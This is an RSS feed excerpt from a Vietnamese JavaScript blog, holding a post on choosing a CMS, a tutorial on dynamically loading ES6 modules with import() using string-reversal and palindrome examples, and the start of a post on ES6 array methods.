<![CDATA[Complete JavaScript]]><![CDATA[Chia sẻ về JavaScript, lập trình JavaScript từ cơ bản đến nâng cao.]]>https://completejavascript.comhttps://completejavascript.com/logos/logo-512x512.pngComplete JavaScripthttps://completejavascript.comComplete JavaScriptThu, 15 Jan 2026 08:53:03 GMT<![CDATA[Copyright © 2017-2021 Lam Pham. Unless otherwise noted, all code MIT license.]]><![CDATA[Làm thế nào để chọn CMS phù hợp cho trang web của bạn?]]><![CDATA[Bạn có biết rằng hơn 70 triệu trang web được xây dựng bằng CMS? CMS hay hệ thống quản lý nội dung là phần mềm cho phép người dùng tạo và quản lý nội dung trên trang web của họ mà…]]>https://completejavascript.com/cach-chon-cms-cho-trang-web/https://completejavascript.com/cach-chon-cms-cho-trang-web/<![CDATA[Wordpress]]><![CDATA[CMS]]>Mon, 27 Jun 2022 20:30:00 GMT<p>Bạn có biết rằng hơn 70 triệu trang web được xây dựng bằng CMS? CMS hay hệ thống quản lý nội dung là phần mềm cho phép người dùng tạo và quản lý nội dung trên trang web của họ mà không cần bất kỳ kiến thức kỹ thuật nào. Để giải thích đơn giản hơn, CMS là một công cụ hữu ích, thân thiện với người dùng, sẽ giúp bạn xây dựng trang web của mình ngay cả khi bạn không có kinh nghiệm viết mã cơ bản. CMS xử lý mọi thứ cần xử lý để tạo và quản lý trang web, vì vậy bạn sẽ có thời gian tập trung vào việc nâng cao trang web của mình để thành công.</p> <h2 id="cách-xây-dựng-trang-web-với-cms" style="position:relative;"><a href="#c%C3%A1ch-x%C3%A2y-d%E1%BB%B1ng-trang-web-v%E1%BB%9Bi-cms" aria-label="cách xây dựng trang web với cms permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách xây dựng trang web với CMS?</h2> <p>Hệ thống quản lý nội dung bao gồm hai phần: CMA hoặc ứng dụng quản lý nội dung và CDA, ứng dụng phân phối nội dung. CMA cho phép bạn thêm nội dung vào trang web của mình, trong khi CDA lấy nội dung đầu vào trong CMA, lưu trữ đúng cách và sau đó hiển thị cho tất cả khách truy cập của bạn. Hai hệ thống hoạt động hoàn hảo cùng nhau để cho phép bạn xây dựng và duy trì trang web của mình mà không gặp lỗi.</p> <p>Để xây dựng một trang web CMS, bạn phải mua gói lưu trữ và tên miền. Bạn có thể chọn shared hosting, VPS hosting, dedicated server hosting, cloud hosting, hoặc <a href="https://clients.verpex.com/aff/?a_aid=refid&#x26;a_bid=73d672s1&#x26;redirect=https://verpex.com/managed-wordpress&#x26;a_aid=VA1&#x26;a_bid=23496e10">managed hosting cho WordPress</a>. Chọn một lưu trữ theo nhu cầu của bạn và ngân sách của bạn. Shared hosting là lựa chọn phổ biến nhất cho người mới bắt đầu vì nó có giá cả phải chăng nhất, nhưng nếu bạn sẵn sàng chi tiêu nhiều hơn, có nhiều lựa chọn khác nhau. Khi bạn chọn <a href="https://completejavascript.com/hosting-mien-phi-cho-web-tinh/">web hosting</a> và tên miền, cài đặt CMS bạn chọn trên máy chủ của bạn. Định cấu hình CMS để làm cho trang web của bạn trông và hoạt động theo cách bạn muốn và bạn đã sẵn sàng để bắt đầu viết nội dung chất lượng. Như bạn có thể thấy, việc sử dụng CMS rất đơn giản và thân thiện với người dùng và hầu như ai cũng có thể xây dựng trang web bằng cách sử dụng nó.</p> <h2 id="tại-sao-bạn-nên-sử-dụng-cms" style="position:relative;"><a href="#t%E1%BA%A1i-sao-b%E1%BA%A1n-n%C3%AAn-s%E1%BB%AD-d%E1%BB%A5ng-cms" aria-label="tại sao bạn nên sử dụng cms permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao bạn nên sử dụng CMS?</h2> <p>Nếu bạn vẫn không chắc chắn về lợi ích của CMS, CMS sẽ giúp bạn rõ ràng hơn. Đây chỉ là một số lý do tại sao bạn nên bắt đầu sử dụng CMS để xây dựng và duy trì trang web của mình:</p> <ul> <li> <p><strong>Bạn không cần bất kỳ kiến thức lập trình nào</strong></p> <p>Bạn không cần phải trả rất nhiều tiền cho các nhà thiết kế và nhà phát triển để có được sự hiện diện trực tuyến bởi vì với sự trợ giúp của CMS, bạn có thể tự mình làm tất cả. Bạn sẽ có thể tùy chỉnh thiết kế trang web, quản lý nội dung và cài đặt tiện ích mở rộng mà không cần có bất kỳ kiến thức lập trình nào. Đây là một lựa chọn tuyệt vời cho người mới bắt đầu vì họ sẽ có thể tạo một trang web mạnh mẽ mà không cần bất kỳ kinh nghiệm nào.</p> </li> <li> <p><strong>Bạn sẽ nhận được các tính năng và tiện ích mở rộng SEO tuyệt vời</strong></p> <p>Hầu hết tất cả các nền tảng CMS đều chứa các tiện ích bổ sung và các tính năng SEO tích hợp để giúp trang web của bạn cải thiện thứ hạng trên Google. Các tính năng và tiện ích mở rộng này sẽ cho phép bạn tùy chỉnh mô tả meta và tiêu đề, tạo sơ đồ trang web XML, chọn cấu trúc URL thân thiện với SEO, tối ưu hóa tải trang, thêm văn bản thay thế, v.v.</p> </li> <li> <p><strong>Bạn sẽ nhận được bảo mật hàng đầu</strong></p> <p>Tất cả các nền tảng CMS đều chứa các tính năng tích hợp bảo mật cung cấp khả năng bảo mật hàng đầu. Với CMS, bạn sẽ nhận được chứng chỉ SSL, CDN tùy chỉnh, tường lửa ứng dụng web và nhiều tính năng bảo mật khác.</p> </li> <li> <p><strong>Bạn sẽ có quyền truy cập dễ dàng</strong></p> <p>CMS sẽ cho phép bạn dễ dàng truy cập trang web của mình thông qua bất kỳ thiết bị nào có kết nối Internet. Ngoài ra, hầu hết các CMS đều có một bảng điều khiển đơn giản mà từ đó bạn có thể truy cập nội dung, cài đặt và mọi thứ của mình ở một nơi.</p> </li> </ul> <h2 id="cách-chọn-cms-phù-hợp-cho-bạn" style="position:relative;"><a href="#c%C3%A1ch-ch%E1%BB%8Dn-cms-ph%C3%B9-h%E1%BB%A3p-cho-b%E1%BA%A1n" aria-label="cách chọn cms phù hợp cho bạn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách chọn CMS phù hợp cho bạn?</h2> <p>CMS phổ biến nhất là <a href="https://completejavascript.com/lam-sach-website-wordpress-nhu-the-nao/">WordPress</a>, duy trì hơn 65% các trang web trên Internet. Các CMS phổ biến khác bao gồm Magento, Drupal, Joomla, Wix, Squarespace, v.v. Có rất nhiều CMS có sẵn trên thị trường, vậy làm cách nào để bạn chọn CMS phù hợp với mình?</p> <p><strong>#1: Cân nhắc chi phí</strong></p> <p>Đừng vội mua CMS hợp lý nhất trước khi xem xét các chi phí khác. Đôi khi những lựa chọn rẻ nhất có thể khiến bạn phải trả giá cao nhất về lâu dài. Việc thêm các trang mới, hỗ trợ kỹ thuật và tích hợp với các công cụ tiếp thị và SEO sẽ làm tăng thêm chi phí, vì vậy hãy đảm bảo bạn tính toán chi phí của mình trước khi bắt đầu. Có một số tùy chọn khá hợp lý trên thị trường, nhưng việc thêm các công cụ bổ sung để làm cho trang web của bạn hoạt động tốt hơn sau này có thể tốn rất nhiều tiền.</p> <p><strong>#2: Chọn một CMS cung cấp bảo mật tốt nhất</strong></p> <p>CMS tốt nhất chứa xác thực 2 yếu tố, quyền người dùng nghiêm ngặt và tường lửa bảo mật. Bạn muốn đảm bảo rằng trang web của mình sẽ không dễ bị tấn công mạng và cách tốt nhất để làm điều đó là nhận CMS cung cấp bảo mật công nghệ mới nhất.</p> <p><strong>#3: Đảm bảo rằng CMS của bạn có thể mở rộng</strong></p> <p>Bất kỳ ai bắt đầu một trang web đều mong đợi trang web và lưu lượng truy cập của họ sẽ phát triển. Thực tế là nếu CMS của bạn không thể mở rộng và trang web của bạn nhận được nhiều lưu lượng truy cập, thì trang web của bạn có thể sẽ gặp sự cố. Chọn một CMS có thể mở rộng cho phép trang web của bạn phát triển khi cần thiết để ngăn chặn điều này.</p> <p><strong>#4: Chọn CMS thân thiện với người dùng</strong></p> <p>Không có gì tốt hơn một CMS thân thiện với người dùng. Trước khi bạn chọn CMS phù hợp, hãy nghiên cứu một chút và xem liệu CMS bạn quan tâm có thân thiện với người dùng hay không và liệu bạn có thể dễ dàng điều hướng qua nền tảng hay không.</p> <p><strong>#5: Nhận CMS cung cấp nhiều tùy chọn tùy chỉnh</strong></p> <p>CMS lý tưởng thân thiện với người dùng và có thể tùy chỉnh. Trước khi chọn CMS, hãy xem xét các tùy chọn tùy chỉnh của nó, số lượng tiện ích mở rộng có sẵn với CMS và liệu bạn có được phép chỉnh sửa mã nguồn hay không. Hầu hết các nền tảng CMS đều cho phép người dùng chọn một chủ đề được thiết kế sẵn và họ cho phép họ tùy chỉnh nó để hoàn toàn phù hợp với thương hiệu của họ. Nếu sẵn sàng chi thêm tiền, bạn có thể thuê một nhà phát triển để giúp bạn thêm các tính năng nâng cao hơn vào trang web của mình.</p> <p><strong>#6: CMS có hỗ trợ khách hàng tuyệt vời</strong></p> <p>Không có gì tệ hơn là không thể nhận trợ giúp khi cần thiết, đặc biệt là trong lĩnh vực kinh doanh này. Ngay cả khi CMS là tốt nhất trên thế giới, nếu nó không có hỗ trợ công nghệ xuất sắc, mọi thứ coi như vứt đi. Đảm bảo rằng bạn chọn một CMS với đội ngũ hỗ trợ tuyệt vời luôn sẵn sàng đáp ứng các nhu cầu và thắc mắc của bạn.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Nếu bạn đang cân nhắc việc có một trang web, thì việc chọn CMS là một lựa chọn đúng đắn. Hơn 70 triệu trang web được xây dựng bằng CMS, điều này nói lên rất nhiều điều về công cụ phần mềm tuyệt vời này. Có rất nhiều CMS trên thị trường, vì vậy hãy đảm bảo rằng bạn chọn một CMS phù hợp với tầm nhìn của bạn nhất. Nhìn chung, để thành công trong lĩnh vực kinh doanh này, việc lựa chọn CMS tốt nhất là cách đi đúng đắn.</p>[email protected]<![CDATA[Tải động JavaScript trong JavaScript]]><![CDATA[Thông thường, bạn có thể sẽ sử dụng phương pháp tải tĩnh để tải về tất cả các hàm được export trong một file JS ngay từ đầu. Việc import tĩnh diễn ra mỗi khi tập lệnh được sử dụng…]]>https://completejavascript.com/tai-dong-javascript-trong-javascript/https://completejavascript.com/tai-dong-javascript-trong-javascript/<![CDATA[Câu hỏi JS ES6]]>Thu, 12 May 2022 23:30:00 GMT<p>Thông thường, bạn có thể sẽ sử dụng phương pháp <strong>tải tĩnh</strong> để tải về tất cả các hàm được export trong một file JS <strong>ngay từ đầu</strong>.</p> <p>Việc import tĩnh diễn ra mỗi khi tập lệnh được sử dụng, cho dù module có được sử dụng hay không. Vì vậy, nếu bạn muốn import một module khi cần thiết, thì cách import tĩnh sẽ không giúp ích được gì.</p> <p>Do đó, với một mã JavaScript, mình cần tìm giải pháp để <strong>chỉ tải các module JavaScript khi cần thiết</strong>.</p> <h2 id="cách-tải-động-javascript" style="position:relative;"><a href="#c%C3%A1ch-t%E1%BA%A3i-%C4%91%E1%BB%99ng-javascript" aria-label="cách tải động javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách tải động JavaScript</h2> <p>ES6 cung cấp cấu trúc <code>import()</code> giúp tải về một module theo yêu cầu.</p> <p>Cấu trúc <code>import()</code> trả về một <a href="/promise-la-gi-promise-trong-javascript/">promise</a> cung cấp một đối tượng bao gồm các module được yêu cầu.</p> <p><strong>Cú pháp <code>import()</code>:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">import</span><span class="token punctuation">(</span><span class="token string">"#duong-dan-module"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">module</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// sử dụng đối tượng module</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Ví dụ:</strong> mình muốn chạy tập lệnh để thực hiện một số thao tác trên chuỗi, tùy thuộc vào button được click.</p> <p>Module để đảo ngược chuỗi:</p> <div class="gatsby-code-title gatsby-remark-code-title">reverseString.mjs</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">reverseString</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reverse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Module để kiểm tra xem một string có phải palindrome hay không</p> <div class="gatsby-code-title gatsby-remark-code-title">isPalindrome.mjs</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">export</span> <span class="token keyword">function</span> <span class="token function">isPalindrome</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> str <span class="token operator">===</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">reverse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Sử dụng trong file <code>index.html</code>:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">></span></span>String operations<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span> <span class="token special-attr"><span class="token attr-name">style</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value css language-css"><span class="token property">text-align</span><span class="token punctuation">:</span>center<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span> <span class="token special-attr"><span class="token attr-name">style</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value css language-css"><span class="token property">color</span><span class="token punctuation">:</span>green<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span>CompleteJavaScript<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text<span class="token punctuation">"</span></span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>myString<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>reverse<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">style</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value css language-css"><span class="token property">padding</span><span class="token punctuation">:</span> 0.5em 0.5em<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span> Reverse the String !! <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>palindrome<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">style</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value css language-css"><span class="token property">padding</span><span class="token punctuation">:</span> 0.5em 0.5em<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span></span><span class="token punctuation">></span></span> Check whether palindrome !! <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>answer<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">style</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value css language-css"><span class="token property">color</span><span class="token punctuation">:</span> green<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 2em<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 1em<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span></span> <span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token comment">&lt;!-- script để thực hiện các tác vụ lên chuỗi --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text/javascript<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token keyword">let</span> reverseButton <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"reverse"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> palindromeButton <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"palindrome"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// module chứa hàm để đảo ngược chuỗi</span> <span class="token keyword">let</span> module1 <span class="token operator">=</span> <span class="token string">"/reverseString.mjs"</span><span class="token punctuation">;</span> <span class="token comment">// module chứa hàm để kiểm tra string có phải palindrome hay không</span> <span class="token keyword">let</span> module2 <span class="token operator">=</span> <span class="token string">"/isPalindrome.mjs"</span><span class="token punctuation">;</span> <span class="token comment">// xử lý khi `reverseButton` được click</span> reverseButton<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> str <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"myString"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>value<span class="token punctuation">;</span> <span class="token keyword">import</span><span class="token punctuation">(</span>module1<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">module</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"answer"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> module<span class="token punctuation">.</span><span class="token function">reverseString</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// xử lý khi `palindromeButton` được click</span> palindromeButton<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">//consuming the value of input</span> <span class="token keyword">let</span> str <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"myString"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>value<span class="token punctuation">;</span> <span class="token keyword">import</span><span class="token punctuation">(</span>module2<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">module</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>module<span class="token punctuation">.</span><span class="token function">isPalindrome</span><span class="token punctuation">(</span>str<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"answer"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"The string is a palindrome"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> document<span class="token punctuation">.</span><span class="token function">getElementById</span><span class="token punctuation">(</span><span class="token string">"answer"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">"The string is not a palindrome"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <h2 id="một-số-chú-ý-khi-tải-động-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-ch%C3%BA-%C3%BD-khi-t%E1%BA%A3i-%C4%91%E1%BB%99ng-javascript" aria-label="một số chú ý khi tải động javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số chú ý khi tải động javascript</h2> <ul> <li>Các module cũng có thể được tải động bên trong các file script thông thường.</li> <li>Server cục bộ cần được thiết lập để tránh lỗi về <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">cross-origin</a> khi sử dụng module ES6.</li> </ul> <p><strong>Khi nào sử dụng cái gì?</strong></p> <p>Tải JavaScript động rất hữu ích khi một số module hiếm khi được sử dụng. Điều này giúp cải thiện hiệu suất ở thời gian tải trang ban đầu.</p> <p>Nhưng nếu bất kỳ module nào được sử dụng thường xuyên trong một tập lệnh, thì điều đó có thể gây ra <strong>độ trễ</strong> trong quá trình thực thi.</p> <p>Tham khảo:</p> <ul> <li><a href="/su-dung-es-modules-tren-trinh-duyet/">ES6 Modules trên trình duyệt</a></li> <li><a href="/promise-la-gi-promise-trong-javascript/">Promise là gì? Promise trong JavaScript</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-dynamically-load-js-inside-js/">How to dynamically load JS inside JS?</a></li> </ul>[email protected]<![CDATA[Một số phương thức mảng hữu ích trong ES6 JavaScript]]><![CDATA[Các phương thức mảng trong ES6 (JavaScript) rất hữu ích để làm việc với dữ liệu được lưu trữ dạng mảng. Bởi vì khi lập trình JavaScript, bạn sẽ phải làm việc với dữ liệu mảng rất…]]>https://completejavascript.com/phuong-thuc-mang-es6-javascript/https://completejavascript.com/phuong-thuc-mang-es6-javascript/<![CDATA[Câu hỏi JS ES6]]>Thu, 12 May 2022 23:00:00 GMT<p>Các phương thức mảng trong ES6 (JavaScript) rất hữu ích để làm việc với dữ liệu được lưu trữ dạng mảng.</p> <p>Bởi vì khi lập trình JavaScript, bạn sẽ phải làm việc với dữ liệu mảng rất nhiều. Chúng có thể là mảng số đơn giản hoặc thậm chí là mảng các đối tượng phức tạp.</p> <p>Sau đây là một số phương thức mảng hữu ích trong ES6.</p> <h2 id="phương-thức-foreach" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-foreach" aria-label="phương thức foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức "forEach"</h2> <p>Phương thức <a 